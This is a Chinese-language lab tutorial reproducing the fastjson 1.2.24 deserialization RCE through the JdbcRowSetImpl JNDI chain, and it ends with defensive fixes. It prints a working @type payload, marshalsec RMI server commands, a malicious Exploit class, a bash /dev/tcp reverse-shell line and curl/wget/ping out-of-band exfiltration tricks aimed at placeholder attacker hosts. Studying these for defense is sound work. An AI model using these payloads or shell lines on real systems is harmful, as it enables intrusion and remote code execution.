
1. 项目概述一次对特定漏洞的深度剖析最近在梳理一些历史高危漏洞的成因与利用手法fastjson的1.2.24版本反序列化漏洞常被标记为CVE-2017-18349等是一个绕不开的经典案例。这个漏洞在当时影响巨大因为它直接绕过了常规的Java反序列化防护通过精心构造的JSON数据就能在目标服务器上执行任意代码危害等级极高。对于安全研究人员、渗透测试工程师乃至后端开发者来说理解这个漏洞的原理、复现过程以及背后的防御思路都是构建安全知识体系的重要一环。它不仅仅是一个“漏洞利用”更是一个理解Java反序列化机制、JNDI注入攻击链以及自动化利用框架的绝佳样本。这篇文章我将从一个实践者的角度带你从头开始深入探索fastjson 1.2.24版本的RCE漏洞。我们会搭建一个简易的漏洞环境一步步分析漏洞触发的核心原理手把手完成漏洞的复现并深入探讨在复现过程中可能遇到的“坑”以及排查技巧。无论你是刚入门安全的新手想了解漏洞复现的基本流程还是有一定经验的从业者希望深化对反序列化攻击的理解这篇文章都将提供详实的参考。整个探索过程我们将聚焦于技术原理与实操所有操作均在授权的测试环境中进行旨在提升安全防御能力。2. 漏洞原理与核心机制拆解要理解fastjson的这个漏洞我们不能停留在“有个漏洞能执行命令”的表面认知必须深入到其运作机制中去。fastjson是一个Java语言编写的高性能JSON处理器它提供了将Java对象序列化成JSON字符串toJSONString以及将JSON字符串反序列化成Java对象parseObject/parse的能力。问题就出在这个反序列化环节特别是当它遇到带有特定“特征”的JSON数据时。2.1 反序列化的“自动化”与风险Fastjson的反序列化有一个特点为了便捷它支持通过type这个字段来指定JSON数据要反序列化成的目标类。例如{type:com.example.User, name:test, age:18}fastjson会尝试去实例化com.example.User类并把name和age的值通过setter方法或字段直接赋值进去。这个过程本质上是“根据字符串动态加载并实例化类”这本身就蕴含了风险。攻击者可以控制type的值指向任何一个存在于目标classpath中的类。2.2 JNDI注入的攻击链构建漏洞利用的关键在于找到了一个在目标环境中广泛存在、且其构造函数、setter方法或getter方法能够触发危险操作的类。在fastjson 1.2.24中利用链通常围绕com.sun.rowset.JdbcRowSetImpl这个类展开。这个类有一个setDataSourceName方法当它被调用反序列化时会自动调用setter后如果后续触发了setAutoCommit或connect等方法它就会去执行一个JNDI查找InitialContext.lookup。JNDIJava Naming and Directory Interface可以理解为Java的一个“资源目录服务”它可以去查找各种资源其中一种就是通过RMIRemote Method Invocation或LDAP协议从远程服务器加载对象。如果攻击者控制了这个JNDI的地址即dataSourceName将其指向一个恶意的RMI或LDAP服务器那么当目标应用进行lookup时恶意服务器就可以返回一个精心构造的“对象”。这个对象可能包含一段可执行的Java代码通常利用org.springframework.context.support.ClassPathXmlApplicationContext或直接利用本地classpath中存在的危险类如javax.el.ELProcessor来执行命令。注意这里涉及到一个关键点高版本JDK8u121, 8u191等对JNDI注入进行了限制例如默认不允许从远程地址加载工厂类com.sun.jndi.rmi.object.trustURLCodebase默认为false这使得传统的利用方式在现代环境中直接失效。但在漏洞爆发的当年2017年这些限制尚未生效或未广泛部署因此漏洞威力巨大。我们复现时需要搭配相应低版本的JDK环境。2.3 漏洞触发的完整链条梳理一下一次成功的攻击链条如下攻击者准备搭建一个恶意的RMI服务器该服务器被配置为当有客户端连接并请求某个名称时返回一个指向另一HTTP服务器的引用该HTTP服务器托管着包含恶意代码的class文件。构造Payload攻击者构造一个特殊的JSON字符串其中type指定为com.sun.rowset.JdbcRowSetImpl并设置dataSourceName为恶意RMI服务器的地址如rmi://attacker-ip:1099/Exploit同时设置autoCommit为true。触发漏洞目标应用使用fastjson 1.2.24解析了这个JSON字符串。链式反应fastjson实例化JdbcRowSetImpl- 调用setDataSourceName(rmi://attacker...)- 调用setAutoCommit(true)- 内部触发connect()-connect()中执行InitialContext.lookup(dataSourceName)。远程加载目标服务器向攻击者的RMI服务器发起JNDI查询。执行代码RMI服务器响应指示客户端去某个HTTP地址加载恶意class文件。目标服务器加载并实例化该class其中的静态代码块或构造函数被执行从而实现了远程命令执行。理解了这个链条我们就能明白复现这个漏洞需要三个核心组件存在漏洞的Fastjson库、支持JNDI注入的JDK环境、以及攻击者控制的RMI/LDAP与HTTP服务。3. 环境搭建与工具准备“工欲善其事必先利其器”。在开始复现之前我们需要精心准备测试环境。强烈建议在虚拟机或隔离的Docker容器中进行所有操作避免对宿主机造成意外影响。3.1 靶机环境准备漏洞应用我们首先搭建一个简单的、使用了漏洞版本fastjson的Web应用。创建Maven项目使用IDE或命令行创建一个标准的Java Maven Web项目。引入漏洞依赖在pom.xml中引入fastjson 1.2.24。dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.24/version /dependency编写漏洞接口创建一个简单的Servlet或Spring Boot Controller提供一个接收JSON参数并进行解析的接口。PostMapping(/parse) ResponseBody public String parseJson(RequestBody String jsonData) { try { // 这里是触发漏洞的关键代码 Object obj JSON.parseObject(jsonData); return Parsed successfully: obj.getClass().getName(); } catch (Exception e) { return Parse error: e.getMessage(); } }这段代码直接使用JSON.parseObject(jsonData)是漏洞的典型触发点。在实际漏洞挖掘中任何使用parse、parseObject且未配置安全黑白名单ParserConfig的地方都可能存在风险。使用低版本JDK这是复现成功的关键。你需要安装并配置JDK 8u121以下的版本例如JDK 8u102。可以在Oracle官网下载历史版本或使用Docker镜像如openjdk:8u102。确保你的IDE和项目运行环境都指向这个低版本JDK。3.2 攻击机环境准备利用工具攻击机需要运行两个服务一个RMI注册中心/服务器一个HTTP服务器用于托管恶意class文件。手动编写这些服务比较繁琐我们可以借助安全社区优秀的开源工具。marshalsec这是一个非常流行的Java反序列化利用工具可以方便地启动恶意的RMI/LDAP服务器。我们需要从GitHub克隆并编译它。git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。编写恶意Java类这个类的作用是在被加载时执行系统命令。我们创建一个Exploit.java文件。public class Exploit { static { try { // 这里以弹出计算器为例Linux/Mac可替换为 gnome-calculator 或 open /System/Applications/Calculator.app Runtime.getRuntime().exec(calc.exe); } catch (Exception e) { e.printStackTrace(); } } }实操心得在实际测试中更常见的做法是执行命令获取反向Shell或者执行curl/wget下载后续攻击载荷。例如可以替换为Runtime.getRuntime().exec(new String[]{/bin/bash, -c, bash -i /dev/tcp/your-ip/port 01})。注意命令的跨平台兼容性。编译恶意类并托管将Exploit.java编译成Exploit.class并用一个简单的HTTP服务器将其托管在攻击机上。javac Exploit.java python3 -m http.server 8000 # 在Exploit.class所在目录启动HTTP服务现在访问http://your-attacker-ip:8000/Exploit.class应该能下载到这个class文件。至此我们的战场已经布置完毕靶机运行有漏洞应用低版本JDK、攻击机准备好marshalsec和HTTP服务。4. 漏洞复现过程详解环境就绪让我们开始最关键的实战复现环节。请确保靶机应用已启动例如在8080端口并且攻击机与靶机网络互通。4.1 启动恶意RMI服务器在攻击机上使用编译好的marshalsec启动一个RMI服务器并指定当客户端查询名为exp的引用时让其去我们的HTTP服务器加载Exploit.class。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-attacker-ip:8000/#Exploit 1099命令解释marshalsec.jndi.RMIRefServer启动RMI引用服务器。http://your-attacker-ip:8000/#Exploit这是核心参数。格式为http_base_url#classname。它告诉客户端去http://your-attacker-ip:8000/下载名为Exploit.class的文件。1099RMI服务监听的端口。如果一切正常你会看到服务器启动日志等待连接。4.2 构造并发送攻击Payload现在我们构造那个致命的JSON字符串。根据JdbcRowSetImpl的利用链Payload如下{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://your-attacker-ip:1099/exp, autoCommit:true }Payload解析type:com.sun.rowset.JdbcRowSetImpl指定反序列化的目标类。dataSourceName:rmi://your-attacker-ip:1099/exp设置JNDI查找的地址指向我们刚启动的恶意RMI服务器和exp这个名称。autoCommit:true这是触发点。设置autoCommit为true会触发setAutoCommit(true)方法进而调用connect()最终执行lookup。我们可以使用curl命令或者Burp Suite等工具向靶机的漏洞接口发送这个Payload。curl -X POST http://target-ip:8080/parse \ -H Content-Type: application/json \ -d {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://your-attacker-ip:1099/exp,autoCommit:true}4.3 观察攻击结果发送Payload后立即观察攻击机和靶机。攻击机RMI服务器你应该能在控制台看到新的入站连接日志表明靶机已经发起了JNDI查询。攻击机HTTP服务器你应该能看到一条访问/Exploit.class的HTTP GET请求日志这表明靶机正在尝试加载恶意类。靶机如果靶机是Windows且命令是calc.exe那么计算器程序应该会被弹出。这是RCE最直观的证据。如果命令是反弹Shell那么你需要在攻击机用nc监听对应端口看是否成功连接。如果以上步骤都观察到了预期的现象那么恭喜你fastjson 1.2.24 RCE漏洞复现成功5. 深度利用与绕过技巧探讨基础的复现只是第一步。在真实的渗透测试或漏洞研究中情况往往更复杂。下面分享一些更深层的利用思路和可能遇到的障碍及其绕过方法。5.1 利用链的变种与挖掘JdbcRowSetImpl只是最广为人知的一条利用链。在fastjson 1.2.24中由于AutoType机制即通过type指定任意类的默认开启且没有严格的黑名单过滤理论上任何存在于classpath中、具有危险方法如getOutputProperties、getConnection、getObjectInstance等的类都可能被利用。安全研究人员曾挖掘出多条利用链例如TemplatesImpl链利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的getOutputProperties或newTransformer方法配合字节码加载来执行命令。这条链不依赖JNDI但需要设置复杂的属性。BasicDataSource链利用org.apache.tomcat.dbcp.dbcp.BasicDataSource类的getConnection触发JNDI。其他第三方库链项目中如果引入了其他存在危险类的库如commons-collections,groovy等可能会形成更复杂的二次反序列化链。注意事项在实战中信息收集至关重要。你需要判断目标应用的依赖环境通过报错信息、Spring Boot Actuator端点等寻找可能存在的、可利用的“小径”类从而构造出更精准、更可能成功的Payload。5.2 高版本JDK下的利用限制与绕过如前所述JDK 8u121, 8u191, 8u201, 11.0.1等版本逐步增加了对JNDI注入的防御trustURLCodebasefalse禁止从远程Codebase加载工厂类。JNDI LDAP反序列化限制限制了LDAP协议返回的序列化对象。但这不意味着漏洞完全无法利用。后续的研究发现了在特定条件下的绕过方式利用本地ClassPath中的已知危险类如果目标服务器的classpath中存在如groovy.lang.GroovyClassLoader、org.apache.commons.collections4.functors.InvokerTransformer等可以直接执行代码的类攻击者可以构造Payload让JNDI返回一个对这些本地类的Reference从而触发本地类的危险方法。这需要极其精确的环境匹配。利用EL表达式注入如果目标环境中有EL表达式处理器如Tomcat 8自带的javax.el.ELProcessor可以构造Payload执行EL表达式例如Runtime.getRuntime().exec()同样可以达到RCE效果。这需要目标应用引入了相关的EL库。利用其他协议除了RMILDAP协议在某些版本和配置下也可能存在利用空间但限制同样很多。实操心得面对现代环境单纯依赖JNDIRMI的“一键化”利用已经非常困难。漏洞复现和学习最好在完全受控的低版本环境中进行。在实战渗透中遇到使用了fastjson但版本未知的目标更有效的思路可能是1) 尝试通过报错信息探测版本2) 尝试使用DNSLog等无回显方式验证漏洞存在如利用java.net.Inet[4|6]Address类触发DNS查询3) 结合其他信息收集手段寻找更可行的攻击面而非执着于此漏洞。5.3 无回显命令执行与验证在真实攻击中命令执行可能没有图形界面计算器这样的明显回显。我们需要通过其他方式验证命令是否执行。DNS外带执行ping或curl命令将执行结果或特定标识拼接到一个由攻击者控制的域名前缀上通过DNS查询日志来验证。例如Runtime.getRuntime().exec(ping -c 1 System.currentTimeMillis() .your-dnslog-domain.com)。HTTP外带执行curl或wget命令将命令执行结果如whoami通过GET或POST请求发送到攻击者控制的HTTP服务器。延时判断执行sleep 5等命令通过观察请求响应时间是否有明显延迟来间接判断。这些技巧在漏洞验证和盲注攻击中非常实用。6. 防御策略与修复方案分析漏洞是为了更好地防御。作为开发者或安全运维我们应该如何应对此类反序列化漏洞升级Fastjson这是最根本、最有效的方案。Fastjson在后续版本中引入了AutoType安全机制默认关闭并且维护了一个庞大的黑名单。请升级到最新安全版本如1.2.83及以上并密切关注安全公告。配置SafeMode在Fastjson 1.2.68及以上版本可以开启SafeMode彻底关闭AutoType功能这是最安全的配置。ParserConfig.getGlobalInstance().setSafeMode(true);使用白名单如果业务必须使用AutoType应使用ParserConfig.addAccept()严格配置允许反序列化的类白名单禁止任何不在名单内的类。升级JDK将生产环境JDK升级到最新版本如8u301, 11.0.11, 17及以上可以利用JDK内置的安全机制极大增加JNDI等攻击链的利用难度。输入过滤与WAF在网关或应用层对传入的JSON数据进行严格的格式检查过滤异常的type字段或可疑的类名。部署具备反序列化攻击检测能力的WAF。最小化依赖定期清理项目依赖移除不必要的Jar包减少攻击面。避免引入已知存在反序列化漏洞的第三方库。安全编码习惯避免使用JSON.parseObject(String)这种直接反序列化不可信数据的方法。对于可信数据也尽量使用带具体Class参数的parseObject(String, ClassT)方法。理解攻击是为了构筑更坚固的防御。通过对fastjson 1.2.24漏洞的深入探索与亲手复现我们不仅掌握了一个历史高危漏洞的利用方式更重要的是我们看清了Java反序列化漏洞的通用攻击模式动态类加载-危险方法调用-外部资源加载/代码执行和防御核心控制类加载源、升级基础环境、严格输入校验。这种从原理到实践再从实践反思防御的闭环学习对于构建扎实的应用安全能力至关重要。在后续的研究中可以进一步探索其他JSON库如Jackson、Gson的历史漏洞对比其安全机制从而形成更全面的认知体系。